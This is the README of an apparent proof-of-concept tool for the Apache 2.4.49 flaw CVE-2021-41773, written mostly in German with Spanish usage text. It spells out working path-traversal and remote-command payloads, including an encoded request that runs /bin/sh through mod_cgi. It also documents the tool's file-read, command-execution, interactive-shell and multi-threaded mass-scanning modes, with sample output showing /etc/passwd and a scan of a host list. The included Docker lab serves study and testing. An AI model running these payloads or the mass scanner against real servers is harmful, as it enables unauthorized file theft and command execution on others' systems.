
Prueba de concepto de CVE-2021-41773
Nur für die Verwendung in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Genehmigung einsetzen.
PoC, entwickelt, um die Schwachstelle CVE-2021-41773 zu demonstrieren und zu verstehen, die in Apache HTTP Server 2.4.49 vorhanden ist.
Der Fehler liegt in der Funktion ap_normalize_path(), die URL-kodierte Zeichen nicht korrekt validierte. Dies ermöglichte es einem Angreifer, mittels einer Sequenz kodierter Zeichen (%2e%2e%2f statt ../) aus dem DocumentRoot auszubrechen und beliebige Dateien des Systems zu lesen.
Wenn das Modul mod_cgi aktiviert war, eskalierte die Schwachstelle zu RCE (Remote Code Execution), wodurch Befehle direkt auf dem Server mit den Berechtigungen des Apache-Prozesses ausgeführt werden konnten.
Der Server muss alle diese Bedingungen erfüllen, um anfällig zu sein:
| Bedingung | Detail |
|---|---|
| Apache-Version | Genau 2.4.49 |
| Zugriffsdirektive | Require all granted in der Konfiguration |
| CGI-Modul | mod_cgi aktiviert (nur für RCE) |
Apache 2.4.49 filterte das klassische ../, aber nicht seine URL-kodierte Version. Der Angreifer konstruiert einen Pfad, den der Filter nicht erkennt, den das Betriebssystem jedoch korrekt interpretiert:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f ist die URL-Kodierung von ../. Apache ließ sie durch, das OS löste sie auf, und das Ergebnis war Zugriff auf Dateien außerhalb des Web-Verzeichnisses.
Bei aktivem mod_cgi wird der Path Traversal genutzt, um statt einer Datei auf /bin/sh zu zeigen. Apache behandelt es als CGI-Skript und führt es aus. Der Befehl reist im Body des POST als minimales Shell-Skript:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
Die Ausgabe des Befehls kommt in der HTTP-Antwort an.
Das Repository enthält eine Umgebung, die bereit ist, die Schwachstelle in setup/ zu reproduzieren:
cd setup
docker compose up -d
Dies startet Apache 2.4.49 auf Port 8080 mit der verwundbaren Konfiguration (Require all granted + aktiviertem mod_cgi). Die Dateien des Labs:
| Datei | Beschreibung |
|---|---|
setup/docker-compose.yml | Container mit Apache 2.4.49 |
setup/httpd.conf | Verwundbare Apache-Konfiguration |
Die verwendeten Konfigurationsdateien befinden sich in setup/.
Warum urllib3 und nicht requests?
requests kodiert die Zeichen des Pfads vor dem Senden automatisch neu.
Das bricht die Payload, weil der Server %252e statt %2e empfängt.
urllib3 erlaubt es, den Pfad unverändert zu senden.
Warum .%2e/ und nicht %2e%2e/?
Apache filtert %2e%2e/ im Modul mod_rewrite.
Die Variante .%2e/ ist semantisch äquivalent, passiert aber den Filter,
weil die Normalisierung des Pfads nach der Validierung erfolgt.
mod_cgi muss aktiviert sein, damit der RCE-Modus funktioniert.
Ohne es ist nur der Path Traversal möglich.python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| Argument | Erforderlich | Beschreibung |
|---|---|---|
--target | Ja* | Basis-URL des Servers (z. B.: http://localhost:8080) |
--input-file / -iF | Ja* | Datei mit Zielliste (eine pro Zeile) |
--mode | Ja | Betriebsmodus (siehe Tabelle unten) |
--cmd | Nein | Befehl, der im Modus rce ausgeführt wird (Standard: id) |
--file | Nein | Datei, die im Modus traversal gelesen wird (Standard: /etc/passwd) |
--threads / -t | Nein | Threads für Massenscan (Standard: 10, nur mit --input-file) |
--output / -o | Nein | Ergebnisse als JSON exportieren (nur mit --input-file) |
* --target und --input-file schließen sich gegenseitig aus — es wird das eine oder das andere verwendet.
| Modus | Beschreibung |
|---|---|
check | Prüft, ob das Ziel anfällig ist und ob mod_cgi aktiviert ist, ohne sensible Daten zu extrahieren |
traversal | Liest eine beliebige Datei des Systems über Path Traversal |
rce | Führt einen einzelnen Befehl auf dem Server über mod_cgi aus |
shell | Interaktive Pseudo-Shell zum seriellen Ausführen von RCE-Befehlen |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════